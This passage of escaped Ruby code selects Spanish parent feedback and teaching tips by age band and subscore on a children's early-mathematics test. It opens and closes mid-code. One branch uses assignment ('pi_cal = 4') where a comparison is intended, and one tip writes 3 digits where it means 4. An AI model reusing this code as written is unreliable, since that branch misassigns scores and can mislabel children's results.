\\nend\\n\\n\\n\\n\\n# Cálculo Informal \\n\\n# 60 a 65\\n\\nif @test.edad.between?(60, 65) && @test.pi_cal > 3 then\\n @h= \\\"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.\\n\\\"\\n\\nelsif @test.edad.between?(60, 65) && @test.pi_cal.between?(2, 3) then\\n @h = \\\"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \\n\\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \\n\\\"\\n\\nelsif @test.edad.between?(60, 65) && @test.pi_cal < 2 then\\n @h = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.\\n\\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \\n\\\"\\n\\n\\n# 66 a 71\\n\\nelsif @test.edad.between?(66, 71) && @test.pi_cal > 4 then\\n @h= \\\"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.\\n\\\"\\n\\nelsif @test.edad.between?(66, 71) && @test.pi_cal.between?(3, 4) then\\n @h = \\\"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \\n\\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \\n\\\"\\n\\nelsif @test.edad.between?(66, 71) && @test.pi_cal < 3 then\\n @h = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.\\n\\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \\n\\\"\\n\\n\\n# 72 a 77 \\n\\nelsif @test.edad.between?(72, 77) && @test.pi_cal > 4 then\\n @h= \\\"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pi_cal = 4 then\\n @h = \\\"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pi_cal < 4 then\\n @h = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \\n\\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \\n\\\"\\n\\n\\n# 78 a83\\n\\nelsif @test.edad.between?(78, 83) && @test.pi_cal > 3 then\\n @h= \\\"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\\n\\\"\\n\\n\\nelsif @test.edad.between?(78, 83) && @test.pi_cal < 4 then\\n @h = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \\n\\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \\n\\\"\\n\\n\\n\\n\\n# 84 a 101\\n\\nelsif @test.edad.between?(84, 101) && @test.pi_cal > 3 then\\n @h= \\\"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Practicar sumas y restas mentales con cantidades mayores. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.\\n\\\"\\n\\nelsif @test.edad.between?(84, 101) && @test.pi_cal < 4 then\\n @h = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea del cálculo con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental. \\n\\n* Practicar sumas y restas mentales con diversas cantidades. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.\\n\\\"\\n \\nend\\n\\n\\n\\n\\n# Convencionalismos\\n\\n# 60 a 71\\n\\nif @test.edad.between?(60, 71) && @test.pf_conv > 1 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\nelsif @test.edad.between?(60, 71) && @test.pf_conv < 2 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\\"\\n\\n\\n# 72 a 77 \\n\\nelsif @test.edad.between?(72, 77) && @test.pf_conv > 4 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pf_conv.between?(3, 4) then\\n @i = \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pf_conv < 3 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\\"\\n\\n\\n# 78 a83\\n\\nelsif @test.edad.between?(78, 83) && @test.pf_conv > 5 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(78, 83) && @test.pf_conv.between?(4, 5) then\\n @i = \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\nelsif @test.edad.between?(78, 83) && @test.pf_conv < 4 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\\"\\n\\n\\n# 84 a 89\\n\\nelsif @test.edad.between?(84, 89) && @test.pf_conv > 7 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\n* Una vez dominada la lectura y escritura de números con 3 dígitos, continuar con la lectura de números de 3 dígitos siguiente los métodos descritos anteriormente. Nuevamente el niño debe saber que la posición es crucial: los números que están a la derecha de todo son las unidades, los que indican las decenas están justo a su izquierda, los números que indican las centenas están a la izquierda de las decenas y, por último, los números que indican los millares son los que están más a la izquierda. \\n\\\"\\n\\nelsif @test.edad.between?(84, 89) && @test.pf_conv.between?(5, 7) then\\n @i = \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(84, 89) && @test.pf_conv < 5 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\n\\n# 90 a 101\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_conv > 5 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_conv < 6 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n \\nend\\n\\n\\n\\n\\n# Hechos Numéricos\\n\\n# 60 a 89\\n\\nif @test.edad.between?(60, 89) then\\n @j= \\\"No se evalúa esta área para el rango de edad de su hijo/a.\\\"\\n\\n# 90 a 101\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_hecho > 6 then\\n @j= \\\"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* En el caso de las restas como 10 - 3, la mejor técnica de solución es la estrategia de contar hacia atrás, es decir, comenzar en 10 y contar hacia atrás 3. También se le puede presentar al niño actividades para que capte la relación complementaria entre la suma y la resta. Esto puede encontrarse en la tabla de restar. Por ejemplo, si el niño mira la columna que muestra todos los números restados de 10, verá que los resultados van incrementándose en uno, consiguiendo al final la secuencia numérica:\\no 10 - 10 = 0\\no 10 - 9 = 1\\no 10 - 8 = 2\\no 10 - 7 = 3\\no 10 - 6 = 4\\no 10 - 5 = 5, y así sucesivamente. \\n\\n* En el caso de las sumas como 8 + 5, la estrategia más común es seguir contando a partir del número mayor (8 + 5 son “ocho, nueve, diez… trece”) o el uso de varios trucos como llegar hasta 10 y después añadir lo que falta contando (“8 + 5 son trece, porque ocho y dos son diez, y después con los tres que quedan son trece”). \\n\\n* En el caso de las multiplicaciones como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \\n\\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \\n\\n* En el caso de las multiplicaciones como 3 x 2, el niño puede descubrir el patrón: 3 x 2 es lo mismo que 3 + 3. Puede aprender que “multiplicar por dos” es lo mismo que sumar el mismo número dos veces o calcular el doble. Esta regla se aplica a todos los números. \\n\\\"\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_hecho.between?(4, 6) then\\n @j = \\\"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \\n\\n* En el caso de las multiplicaciones, como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \\n\\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \\n\\n* En el caso de las restas del tipo 2N - N, el patrón lleva a la conclusión de que la respuesta es la misma que el número que has quitado. Esta regla, después, se aplica a muchos números: aquellos en que la cantidad que se quita (el sustraendo) es la mitad de la cantidad de partida (minuendo), por ejemplo 6 - 3, 10 - 5, etc. También se le puede enseñar un juego con material concreto, utilizando objetos y una bolsa de plástico. Así, se introduce un número par de objetos en una bolsa, que previamente se ha dividido en dos partes (con una cinta adhesiva de un color, por ejemplo). Al niño se le muestra que el total se forma sumando las dos partes iguales. Además, se puede insistir en la relación inversa: si al total le quitamos una de las partes, nos queda la otra. También se le puede plantear ejercicios del tipo: \\no 2 - 1 = 1 \\no 4 - 2 = 2\\no 6 - 3 = 3 \\no 8 - 4 = 4\\no ¿Cuál es el siguiente?\\n\\\"\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_hecho < 4 then\\n @j = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n* Enseñar al niño que en hechos numéricos como 2 - 2 (dos menos dos), se puede observar que si se resta un número de sí mismo el resultado es “cero”. El patrón es fácil y esta regla se aplica a todos los números. \\n\\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \\n\\\"\\n \\nend\\n\\n\\n\\n# Cálculo FORMAL \\n\\n# 60 a 89\\n\\nif @test.edad.between?(60, 89) then\\n @k= \\\"No se evalúa esta área para el rango de edad de su hijo/a.\\\"\\n\\n\\n# 90 a 95\\n\\nelsif @test.edad.between?(90, 95) && @test.pi_comp > 5 then\\n @k= \\\"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \\n\\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(90, 95) 